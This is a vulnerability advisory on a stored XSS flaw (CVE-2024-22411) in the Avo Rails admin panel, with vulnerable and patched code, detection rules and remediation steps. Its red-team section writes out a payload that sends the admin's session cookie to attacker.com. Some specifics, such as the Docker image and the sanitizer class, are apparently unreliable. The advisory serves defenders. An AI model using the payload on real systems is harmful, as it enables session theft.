CVE-2024-22411

Executive Summary

CVE-2024-22411 is a stored cross-site scripting (XSS) vulnerability in the Avo admin panel framework for Ruby on Rails. The flaw exists in versions prior to 3.3.0 and 2.47.0, where unsanitized HTML passed to the error or succeed methods within Avo::BaseAction subclasses is rendered directly in toast notifications. An authenticated attacker with action execution privileges can inject malicious scripts, leading to session hijacking, data theft, or further compromise of the admin interface.

Supply Chain & Package Security

This vulnerability affects the Ruby gem avo, distributed via RubyGems. The package is a critical dependency for Rails applications using Avo for admin panels. The lack of input sanitization in toast messages introduces a supply chain risk, as compromised gems or malicious updates could exploit this vector. Users must verify gem integrity and upgrade to patched versions immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with action execution)
• User Interaction: Required (victim must view the toast notification)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access but can lead to full admin panel compromise via XSS.

Deep Dive & Mechanics

The vulnerability resides in the toast notification rendering logic of Avo. When an Avo::BaseAction subclass calls error or succeed with a string containing HTML, the framework directly injects that string into the DOM without sanitization. This occurs because the toast component uses innerHTML or similar methods to display messages.

Attack Flow:

1. An attacker with permissions to execute actions (e.g., custom actions on models) crafts a malicious payload like <img src=x onerror=alert(1)>.
2. The attacker triggers the action, passing the payload as the message to error or succeed.
3. When an admin user views the resulting toast notification, the script executes in their browser context.
4. The attacker can then steal session cookies, perform actions on behalf of the admin, or exfiltrate data.

Root Cause: Lack of HTML sanitization in the toast message rendering pipeline. The fix in 3.3.0/2.47.0 sanitizes the message using Rails' sanitize helper or equivalent.

Vulnerable vs. Patched Code

Vulnerable Code (Avo < 3.3.0):

class MyAction < Avo::BaseAction
  def handle(**args)
    succeed("Action completed! <script>alert('XSS')</script>")
  end
end

In the toast component (JavaScript):

// Vulnerable: directly sets innerHTML
toast.innerHTML = message;

Patched Code (Avo >= 3.3.0):

class MyAction < Avo::BaseAction
  def handle(**args)
    succeed(Avo::Sanitizer.sanitize("Action completed! <script>alert('XSS')</script>"))
  end
end

In the toast component (JavaScript):

// Patched: uses textContent to prevent HTML injection
toast.textContent = message;

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Avo admin panel (authenticated user with action execution rights).
• A custom action that accepts user input for error or succeed messages.

Exploit Steps:

1. Identify an action that uses error or succeed with user-controlled input.
2. Inject the following payload into the input field:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

3. Trigger the action. The payload will be stored and executed when an admin views the toast.
4. The attacker's server receives the admin's session cookie.

Example Action (Vulnerable):

class CustomAction < Avo::BaseAction
  def handle(params:)
    if params[:input].present?
      succeed("Result: #{params[:input]}")
    else
      error("Error: #{params[:input]}")
    end
  end
end

Blue Team

Detection:

• Monitor for unusual action executions that contain HTML tags in parameters.
• Look for toast messages with suspicious content in logs.
• Use WAF rules to block common XSS payloads in action parameters.

Hunting:

• Search for error( or succeed( calls in custom actions that use unsanitized user input.
• Review toast notification rendering code for innerHTML usage.

Lab Setup:

1. Deploy a vulnerable Avo instance (version 3.2.0) using Docker:

   docker run -d -p 3000:3000 avo/avo:3.2.0
   

2. Create a custom action with the vulnerable code above.
3. Execute the exploit and observe the XSS in the browser console.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /avo/actions with parameters containing HTML tags (e.g., <script>, <img onerror>).
• Logs: Application logs showing error or succeed messages with HTML content.
• Browser: Unexpected network requests to external domains from the admin panel.
• File: Custom action files (.rb) containing unsanitized error/succeed calls.

Detection Engineering

YARA Rule

rule Detect_Avo_XSS_Toast {
    meta:
        description = "Detects unsanitized HTML in Avo toast messages"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22411"
    strings:
        $s1 = "succeed("
        $s2 = "error("
        $s3 = /<[^>]+>/
    condition:
        any of ($s1, $s2) and $s3
}

Sigma Rule

title: Avo Admin Panel XSS via Toast Messages
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts via unsanitized HTML in Avo toast messages
author: Valters IT
logsource:
    category: application
    product: rails
detection:
    selection:
        - "error("
        - "succeed("
    condition: selection
falsepositives:
    - Legitimate use of HTML in messages (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22411 Avo XSS via Toast"; flow:to_server,established; content:"/avo/actions"; http_uri; pcre:"/(error|succeed)=.*<[^>]+>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Avo to version 3.3.0 or 2.47.0.
2. If upgrade is not possible, sanitize all user input passed to error and succeed methods using Rails' sanitize helper.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Long-term:

• Conduct code review of all custom actions for unsanitized output.
• Add automated security testing for XSS in CI/CD pipelines.
• Monitor for new advisories related to Avo and other admin panel frameworks.

Workaround:

• Disable toast notifications or override the toast component to use textContent instead of innerHTML.

Valters IT